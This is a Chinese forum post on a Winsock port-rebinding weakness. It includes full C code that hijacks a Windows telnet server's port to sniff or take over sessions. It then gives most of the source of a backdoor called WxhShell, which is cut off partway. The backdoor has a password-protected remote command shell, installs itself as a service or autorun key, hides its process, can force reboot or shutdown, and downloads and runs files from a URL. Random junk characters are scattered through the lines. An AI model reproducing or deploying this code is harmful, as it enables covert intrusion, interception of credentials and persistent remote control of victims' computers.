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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: I;<__  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); E3x<o<v  
wXYT(R  
  saddr.sin_family = AF_INET; !WB3%E,I  
>*|Eyv_  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); .7Pp'-hK  
iP9Dr<P  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Y{t}sO%A  
_?$')P|  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 R$it`0D4o  
t`Xx\  
  这意味着什么?意味着可以进行如下的攻击: , d HAD  
"HJQAy?W  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 0G'v4Vj0'  
sAK&^g  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ZY6%%7?1  
nxm*.&#p?  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 k<o<!   
nAsc^ Yh  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  F"tM?V.|  
|^w&dj\,  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `"xzC $  
'1G0YfG}n  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 hig t(u  
27F:-C~.9  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 J3r':I}\  
JvJ)}d$,&  
  #include Pi%-bD/w  
  #include V Kc`mE  
  #include k?Zcv*[)D+  
  #include    l`:-B 'WM  
  DWORD WINAPI ClientThread(LPVOID lpParam);   1P BnGQYM  
  int main() F=UW[zy/[  
  { ~(cqFf  
  WORD wVersionRequested; MGo`j:0  
  DWORD ret; %7Gq#rq  
  WSADATA wsaData; CF+:v(NL  
  BOOL val; 7=A @P  
  SOCKADDR_IN saddr; tg~7^(s  
  SOCKADDR_IN scaddr; ;~}!P7z  
  int err; Ax4;[K\Q  
  SOCKET s; eW_EWVH  
  SOCKET sc; @d ^MaXp_P  
  int caddsize; x ;]em9b  
  HANDLE mt; YIl,8! z~  
  DWORD tid;   %!L*ec%,  
  wVersionRequested = MAKEWORD( 2, 2 ); Ds8x9v)^  
  err = WSAStartup( wVersionRequested, &wsaData ); %VrMlG4hx  
  if ( err != 0 ) { UwDoueXs  
  printf("error!WSAStartup failed!\n"); PJh97%7  
  return -1; '?E@H.""  
  } *m 6*sIR  
  saddr.sin_family = AF_INET; n8&x=Z}Xs  
   c,*a|@  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 s6oIj$  
6U] "i  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); n+'s9  
  saddr.sin_port = htons(23); t.7_7`bin~  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $bk_%R}s  
  { 52*KRq o  
  printf("error!socket failed!\n"); q(5  
  return -1; Lo9 \[4FP  
  } h*mKS -TC  
  val = TRUE; bWB&8&p  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 49B6|!&I  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) .R@euIva  
  { 3TKl  
  printf("error!setsockopt failed!\n"); EmV ZqW  
  return -1; %bhFl,tL  
  } >>>MTV f  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &Qv%~dvW  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 sDy~<$l?  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 cdfnM%`>\  
MIc(B_q  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) zOL*XZ0c  
  { 8w3Wy<}y  
  ret=GetLastError(); TyaK_XW  
  printf("error!bind failed!\n"); j<vU[J+gx~  
  return -1; >DR/ lBtL  
  } 3^F1hCB  
  listen(s,2); PO0/C q)  
  while(1) d 4;   
  { 3,@|kN<  
  caddsize = sizeof(scaddr); Z ^yn S  
  //接受连接请求 Dr#V^"Dte  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); < 'r<MA<  
  if(sc!=INVALID_SOCKET) `$r?^|T  
  { ,Q8h#0z r  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); M3q7{w*bM  
  if(mt==NULL) 95-%>?4  
  { bj+foNvu\  
  printf("Thread Creat Failed!\n"); *18J$  
  break; 8j@ADfZ9  
  } GF*E+/ ;  
  } HK.Si]:  
  CloseHandle(mt); 7+J<N@.d  
  } Eqt>_n8  
  closesocket(s); V5]\|?=  
  WSACleanup(); zm^ 5WH  
  return 0; z%/<|`  7  
  }   Dl=vv9  
  DWORD WINAPI ClientThread(LPVOID lpParam) h &IF ?h  
  { bKPjxN?!9  
  SOCKET ss = (SOCKET)lpParam; #r80FVwiD  
  SOCKET sc; rj;~SC{  
  unsigned char buf[4096]; `AELe_  
  SOCKADDR_IN saddr; ?Q}3X-xy  
  long num; M_F4I$V4  
  DWORD val; DOW Z hD  
  DWORD ret; Z , 98  
  //如果是隐藏端口应用的话,可以在此处加一些判断 :J6FI6  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   }+ TA+;  
  saddr.sin_family = AF_INET; t? _{  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); LQa1p  
  saddr.sin_port = htons(23); lJBZ0  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) iSj.lW  
  { a(+u"Kr z  
  printf("error!socket failed!\n"); yI$Mq R  
  return -1; ~ouRDO  
  } vXc gl  
  val = 100; 4ak} "Z  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3_c4+u"6  
  { [[8h*[:  
  ret = GetLastError(); wEbO|S+K1  
  return -1; v|YJ2q?19  
  } 7o`pNcabtz  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H?dEgubg7]  
  { o(Ro/U(Wu  
  ret = GetLastError(); z%WOv ~8~  
  return -1; `k'Dm:*`u4  
  } LfG$?<}hR  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Kl+4A}Uo  
  { d Y]i AJ  
  printf("error!socket connect failed!\n"); K|{&SU_m  
  closesocket(sc); q|R$A8)L.  
  closesocket(ss); \W})Z72  
  return -1; U\",!S~<  
  } w'!J   
  while(1) ju;Myi}a  
  { IHf#P5y_  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 29h_oNO  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 fuA 8jx  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 gd\b]L?>O  
  num = recv(ss,buf,4096,0); m_>~e}2'A  
  if(num>0) B7BikxUa  
  send(sc,buf,num,0); Ty"=3AvRLV  
  else if(num==0) k.w}}78N2N  
  break; \b|Q`)TK  
  num = recv(sc,buf,4096,0); |0a GX]Y  
  if(num>0) 9 kS;_(DB  
  send(ss,buf,num,0); <<9Y=%C+  
  else if(num==0) 3 p9LVa  
  break; oJ)v6"j  
  } rZ7)sE5L  
  closesocket(ss); ?anKSGfj  
  closesocket(sc); ),+u>Os&  
  return 0 ; I'16-  
  } e!*%U= [Q  
D z5(v1I9A  
3` \)Qm  
========================================================== U-:_4[  
v@E/?\k"  
下边附上一个代码,,WXhSHELL |oJ R+  
_<G%  
========================================================== |m>n4 -5QL  
"]{"4qV1=  
#include "stdafx.h" p` LPO  
cK+y3`.0  
#include <stdio.h> AA0zt N  
#include <string.h> &>o?0A6  
#include <windows.h> "J6 aU  
#include <winsock2.h> lIF*$#`oh*  
#include <winsvc.h> {uMqd-Uu  
#include <urlmon.h> ;X2(G  
J*CfG;Y:  
#pragma comment (lib, "Ws2_32.lib") 5mYI5~ p  
#pragma comment (lib, "urlmon.lib") I`}<1~ue  
Qz?r4kR  
#define MAX_USER   100 // 最大客户端连接数 4'-GcH  
#define BUF_SOCK   200 // sock buffer HxH=~B1"P  
#define KEY_BUFF   255 // 输入 buffer s_N]$3'[E  
h^6Yjy  
#define REBOOT     0   // 重启 vdN0YCXG  
#define SHUTDOWN   1   // 关机 66~]7w  
hFWK^]~ a  
#define DEF_PORT   5000 // 监听端口 Lg4I6 G  
BHBMMjY5  
#define REG_LEN     16   // 注册表键长度 Z ]WA-Q6n  
#define SVC_LEN     80   // NT服务名长度 9ApGn!`  
E$8 4c+  
// 从dll定义API C]+T5W\"<B  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yD9<-B<)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); P&@[ j0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ew cgg  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); PNMf5'@m  
x2g P, p-  
// wxhshell配置信息 a0ze7F<(  
struct WSCFG { ~_Mz05J-\_  
  int ws_port;         // 监听端口 4?^t=7N  
  char ws_passstr[REG_LEN]; // 口令 F DCHB~D  
  int ws_autoins;       // 安装标记, 1=yes 0=no c;e2= A  
  char ws_regname[REG_LEN]; // 注册表键名 Bswd20(w  
  char ws_svcname[REG_LEN]; // 服务名 J]|lCwF  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }X`jhsqT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \LS+.bp%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z~BrKdS  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6|D,`dk3U  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #D{//P|;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :{v:sK  
8oj-5|ct  
}; H-,RzL/  
){oVVLs  
// default Wxhshell configuration W}5H'D  
struct WSCFG wscfg={DEF_PORT, a/wkc*}}/  
    "xuhuanlingzhe", \o j#*aL^  
    1, (g@e=m7Q  
    "Wxhshell", IlcFW  
    "Wxhshell", rn?:utP  
            "WxhShell Service",  }[<eg>9#  
    "Wrsky Windows CmdShell Service", ZSTpA,+6  
    "Please Input Your Password: ", ~xg1mS9d  
  1, Q`}n; DV  
  "http://www.wrsky.com/wxhshell.exe", mTzzF9n"Y  
  "Wxhshell.exe" ~=,|dGAa$  
    }; \ns#l@B  
#)BdN  
// 消息定义模块 hFjXgpz5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Tx7YHE6{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; vx\h Njb  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; X=p~`Ar M{  
char *msg_ws_ext="\n\rExit."; -R;.Md_  
char *msg_ws_end="\n\rQuit."; q#RVi8('  
char *msg_ws_boot="\n\rReboot..."; WqC6 c&NM  
char *msg_ws_poff="\n\rShutdown..."; }hFjl4`xa  
char *msg_ws_down="\n\rSave to "; E5M*Gs  
),-4\!7  
char *msg_ws_err="\n\rErr!"; iM Xl}3  
char *msg_ws_ok="\n\rOK!"; nV0"q|0K;  
B94mh  
char ExeFile[MAX_PATH]; ;Db89Nc$  
int nUser = 0; 1& k_&o  
HANDLE handles[MAX_USER]; -hP@L ++D  
int OsIsNt; khb Gyg%  
{O,Cc$_  
SERVICE_STATUS       serviceStatus; zSYWNmj&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; GGs3r;(t  
t p.qh]2c  
// 函数声明 x=qACoq  
int Install(void); jBEt!Azur  
int Uninstall(void); XRI1/2YA  
int DownloadFile(char *sURL, SOCKET wsh); ` m`Sl[6  
int Boot(int flag); Iy](?b  
void HideProc(void); 5}R /C{fs  
int GetOsVer(void); &:-`3J-  
int Wxhshell(SOCKET wsl); $s hlNW\  
void TalkWithClient(void *cs); 5CkM0G`  
int CmdShell(SOCKET sock); J|Lk::Ri  
int StartFromService(void); id.o )=  
int StartWxhshell(LPSTR lpCmdLine); Wv"[,5 Z13  
'Z7oPq6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 'sm+3d  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); VPf*>ph=  
y= I LA  
// 数据结构和表定义 @Ns^?#u~   
SERVICE_TABLE_ENTRY DispatchTable[] = 0rT-8iJp4P  
{ flLC\   
{wscfg.ws_svcname, NTServiceMain}, E YUr.#:  
{NULL, NULL} #TUsi,jG  
}; 1GW=QbO 6  
}@Oy kN  
// 自我安装 T"Wq:  
int Install(void) )*^PMf  
{ 4kA/W0 VG  
  char svExeFile[MAX_PATH]; h"YIAQ',  
  HKEY key; d*1@lmV*  
  strcpy(svExeFile,ExeFile); ZBJYpeGe  
b=QO^  
// 如果是win9x系统,修改注册表设为自启动 eR8qO"%2:  
if(!OsIsNt) { ;sa-Bh=j^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (G"b)"Qum  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T.HI $(d  
  RegCloseKey(key); EG0NikT?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { / GJ"##<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j*$GP'Df3  
  RegCloseKey(key); 5RTAM  
  return 0; oa`,|dA"  
    } ;=Bf&hY&  
  } -Tk~c1I#`  
} ;2}0Hr'|  
else { 6[c LbT0  
v^[Ny0cM  
// 如果是NT以上系统,安装为系统服务 ,KIa+&vJW@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `2NL'O:  
if (schSCManager!=0) 8\y%J!b  
{ `a2Oj@jP  
  SC_HANDLE schService = CreateService C>@~W(IE  
  ( .d9VV&  
  schSCManager, T{|'<KT  
  wscfg.ws_svcname, P,~a'_w:|D  
  wscfg.ws_svcdisp, KL0u:I(lWU  
  SERVICE_ALL_ACCESS, @dJ s  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , m5zP|s1`['  
  SERVICE_AUTO_START, $Kb-mFR  
  SERVICE_ERROR_NORMAL, 788q<7E  
  svExeFile, ,+*8 @>c  
  NULL, _hMVv&$  
  NULL, H U$:x"AW  
  NULL, t_,iV9NrZ  
  NULL, *`);_EVc  
  NULL t3Q;1#Zf  
  ); 9))%tYN  
  if (schService!=0) ygUvO3Z  
  { 0'|#Hi7@  
  CloseServiceHandle(schService); : O t\l  
  CloseServiceHandle(schSCManager); h.4;-&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); oRy?Dx+H  
  strcat(svExeFile,wscfg.ws_svcname); J*,Ed51&7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c1CP1 2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j>?H^fB  
  RegCloseKey(key); _QBd3B %  
  return 0; 8+ B.x  
    } ss,t[`AV{  
  } w_,.  
  CloseServiceHandle(schSCManager); jL%-G  
} #JO#PV%  
} q&Q* gEFK  
9|Jmj @9  
return 1; b3EW"^Ar  
} F!`.y7hY@  
g=b[V   
// 自我卸载 g;v{JB  
int Uninstall(void) DD|%F  
{ F>n<;<  
  HKEY key; ,Xk8{ =  
xHykU;p@  
if(!OsIsNt) { V>A@Sw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I LF"m;  
  RegDeleteValue(key,wscfg.ws_regname); MJV&%E6{:{  
  RegCloseKey(key); xJ>hN@5}i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c 2?(.UV  
  RegDeleteValue(key,wscfg.ws_regname); 52l|  
  RegCloseKey(key); xYM/{[  
  return 0; ^lRXc.c z  
  } A~I}[O~(pb  
} %r6~5_A  
} 1oj7R7  
else { WU#bA|Cf  
j^iH[pN] \  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L\_8}\  
if (schSCManager!=0) j=dHgnVvj  
{ PM=I  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SP HeI@i  
  if (schService!=0) @/anJrt  
  { 3'u%[bx E  
  if(DeleteService(schService)!=0) { x gaN0!  
  CloseServiceHandle(schService); !pw%l4]/t  
  CloseServiceHandle(schSCManager); "@GopD  
  return 0; yW|yZ(7  
  } z O$SL8U  
  CloseServiceHandle(schService); cdzzS?$)  
  } v]U[7 j  
  CloseServiceHandle(schSCManager); YZpF*E;6t  
} ^;W,:y&  
} e d4T_O;  
m++VW0Y>  
return 1; z~o%U&DO}  
} AZl|; y  
%Dsa ~{  
// 从指定url下载文件 Iy|]U&`  
int DownloadFile(char *sURL, SOCKET wsh) .yi.GRk  
{ xE;fM\7pu  
  HRESULT hr; o0s+ roiD  
char seps[]= "/"; X_Y$-I$qd  
char *token; i0p"q p  
char *file; MV9{>xX  
char myURL[MAX_PATH]; Jev@IORN\  
char myFILE[MAX_PATH]; ?h K+h.{  
39"8Nq|e  
strcpy(myURL,sURL); \+Qx}bS{  
  token=strtok(myURL,seps); j*W]^uT,  
  while(token!=NULL) 5>}L3r>a;  
  { o~<fw]y  
    file=token; oc\rQ?  
  token=strtok(NULL,seps); }4_izKS  
  } 7i 334iQZ  
te" 8ZmJ  
GetCurrentDirectory(MAX_PATH,myFILE); CX CU5-  
strcat(myFILE, "\\"); 3iH!;`i  
strcat(myFILE, file); 4X#>;  
  send(wsh,myFILE,strlen(myFILE),0); Pm+H!x,  
send(wsh,"...",3,0); =,gss&J!!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _Mq@58q'  
  if(hr==S_OK) .HZYSY:X  
return 0; E# e=<R  
else ,E)bS7W  
return 1; &giJO-^ f  
,W{Qv<oo  
} x3wyIio*  
SGNi~o  
// 系统电源模块 qUpMq:Uw  
int Boot(int flag)  @tDVW *!  
{ 9J% dd0  
  HANDLE hToken; :8Q6=K87  
  TOKEN_PRIVILEGES tkp; fB  
@f*/V e0.  
  if(OsIsNt) { 5IdmKP|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); nV:.-JR  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3eI:$1"Q  
    tkp.PrivilegeCount = 1; /MQd[03]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2$[u&__E  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {hg,F?p '  
if(flag==REBOOT) { ;EF s2-{K  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ih ,8'D4  
  return 0; wAkoX  
} /:yKa=$  
else { w:M faN*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <ezvz..g  
  return 0; 2!]':(8mR  
} !WVF{L,/I  
  } q3scz  
  else { gyI5;il~  
if(flag==REBOOT) { %@H;6   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4^AE;= Q  
  return 0; "=yaeEp  
} v,+2CVdW  
else { ,p$1n;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >K50 h  
  return 0; !^l<jrM  
} g%4|vA8  
} z${B|  
|!57Z4X  
return 1; !8l4H c8  
} )2bPu[U  
J]N-^ld\\  
// win9x进程隐藏模块 4!/{CGP  
void HideProc(void) A`X$jpAn&  
{ h"wXmAf4%  
Eg  w?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3ufUB^@4v  
  if ( hKernel != NULL ) 5zfaqt`  
  { KS(s<ip|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {CQA@p:Y}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); lQ! 6n  
    FreeLibrary(hKernel); !u\X,.h  
  } n~K_|  
Q4c>gds`  
return; s{IycTbz  
} )5&w  
l)XzU&Sc~  
// 获取操作系统版本 oWx! 'K6]V  
int GetOsVer(void) Y#?Sqm(  
{ ?LvZEiJ  
  OSVERSIONINFO winfo; HK:?Y[ebs  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); T:na\y/{j  
  GetVersionEx(&winfo); f>p;Jh{2fn  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =P0~=UP  
  return 1; s)ZL`S?</  
  else mjB%"w!S  
  return 0; ||qsoF5B]  
} sEhdkN}6  
A5?[j QT0  
// 客户端句柄模块 e7vPi QCc  
int Wxhshell(SOCKET wsl) GW` 9SB  
{ p1G!-\l  
  SOCKET wsh; SC86+  
  struct sockaddr_in client; NbG3^(  
  DWORD myID; V/762&2X  
\'E%ue_<9  
  while(nUser<MAX_USER) /0"Y. @L  
{ a#j0N5<Nl  
  int nSize=sizeof(client); #p=/P{*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %Vive2j C  
  if(wsh==INVALID_SOCKET) return 1; oqUtW3y  
g<}K^)x  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :[\}Hn=  
if(handles[nUser]==0) \7gLk:  
  closesocket(wsh); Et`z7Q*e  
else }@a_x,O/x}  
  nUser++; #.Ft PR  
  } ?L{[84GSO  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hQ8/-#LO_  
f5d"H6%L  
  return 0; \t^q@}~0Wz  
} ]hv4EL(zi  
kQ{pFFO  
// 关闭 socket ,}`II|.oB  
void CloseIt(SOCKET wsh) Sn" 1XU  
{ .xCO_7Rd  
closesocket(wsh); 3VA Lrb;  
nUser--; m:Z=: -x  
ExitThread(0); yWt87+%T  
} -i?!em'J  
SaQ_%-&#p  
// 客户端请求句柄 vPSH  
void TalkWithClient(void *cs) 0'z$"(6D  
{ !*+~R2&b  
Yz.[CmdX  
  SOCKET wsh=(SOCKET)cs;  SvDVxK  
  char pwd[SVC_LEN]; GG%j+Ed  
  char cmd[KEY_BUFF]; H%Q@DW8~@  
char chr[1]; EV2whs2g  
int i,j; *9?-JBT&F  
~~:i+-[  
  while (nUser < MAX_USER) { G~u94rw|:  
jIAl7aoY  
if(wscfg.ws_passstr) { ZqS'xN :k  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s{`r$:!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i<)c4  
  //ZeroMemory(pwd,KEY_BUFF); N`8?bU7a}"  
      i=0; q=UKL`;C}U  
  while(i<SVC_LEN) { [g_f`ZJ=  
]rC6fNhQ  
  // 设置超时 q9icj  
  fd_set FdRead; '$q'Wl)  
  struct timeval TimeOut; 8Ay#6o  
  FD_ZERO(&FdRead); RK"dPr  
  FD_SET(wsh,&FdRead); (#LV*&K%IC  
  TimeOut.tv_sec=8; 2$=?;~  
  TimeOut.tv_usec=0; }T4"#'`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); jyLpe2 S  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); r`B8Cik  
Vk@u|6U'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rc 9 \  
  pwd=chr[0]; OHM.xw*?.  
  if(chr[0]==0xd || chr[0]==0xa) { &{/ `Q ,  
  pwd=0; J3y5R1?EP  
  break; d!e$BiC  
  } Gzc{2"p  
  i++; osPX%k!yw  
    } Xk(c2s&  
 V:F)m!   
  // 如果是非法用户,关闭 socket IWuR=I$t  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); VU}UK$JN  
} EJb"/oLla  
"A,]y E  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tlI3jrgw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G5bi,^G7  
qmtVk  
while(1) { B5zu?AG  
76mQ$ze  
  ZeroMemory(cmd,KEY_BUFF); {C|#<}1  
z Sj.Y{J  
      // 自动支持客户端 telnet标准   nWmc  
  j=0; tjuW+5O  
  while(j<KEY_BUFF) { !$qNugLg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p,$1%/m  
  cmd[j]=chr[0]; {cq; SH  
  if(chr[0]==0xa || chr[0]==0xd) { o @~XX@5l  
  cmd[j]=0; I zM=?,`  
  break; 1LT)%_d@  
  } tiI>iP`!  
  j++; <;phc~0+  
    } <y(>z*T;  
(#X/sZQh  
  // 下载文件 X -w#E3  
  if(strstr(cmd,"http://")) { \SA5@.W  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :7@"EW  
  if(DownloadFile(cmd,wsh)) OZQhT)nS]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9@:H9" w  
  else T"dX)~E;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +:mj]`=  
  } bX=ht^e [  
  else { 9k&lq$  
Xr6lYO_R  
    switch(cmd[0]) { 'O \YL(j_e  
  v9u/<w68!  
  // 帮助 ~EpMO]I  
  case '?': { ^['%wA%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ov*zQP  
    break; Ga+\b>C  
  } fw|r{#d  
  // 安装 XDz![s  
  case 'i': { {jJUS>  
    if(Install()) <!-8g!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ( y'i{:B  
    else 4YXtl +G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xJJlVP  
    break; y? )v-YGu  
    } ?b^VEp.;}  
  // 卸载 t`Mm  
  case 'r': { TB*g$ *  
    if(Uninstall()) 1CFrV=d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); toX4kmC  
    else l/DV ?27  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LV4 x9?&  
    break; rm1R^ n  
    } -Z4J?b  
  // 显示 wxhshell 所在路径 I8 8y9sW  
  case 'p': { `jvIcu5c  
    char svExeFile[MAX_PATH]; q !EJs:AS  
    strcpy(svExeFile,"\n\r"); D2[uex  
      strcat(svExeFile,ExeFile); )wCA8  
        send(wsh,svExeFile,strlen(svExeFile),0); 4 (bV#   
    break; rcF;Lp :  
    } %*oz~,i  
  // 重启 E )09M%fe  
  case 'b': { cx1U6A+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); mhnD1}9,Ih  
    if(Boot(REBOOT)) `0=0IPVd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o3]B/  
    else { HJ !)D~M{  
    closesocket(wsh); [qIi_(%o  
    ExitThread(0); wU2y<?$\8  
    } RR75ke[Hs  
    break; pIC CjA?3@  
    } ryW1OV6?_0  
  // 关机 V%<<Udu<  
  case 'd': { !})/x~~e  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @zT.&1;`  
    if(Boot(SHUTDOWN)) n-}:D<\7  
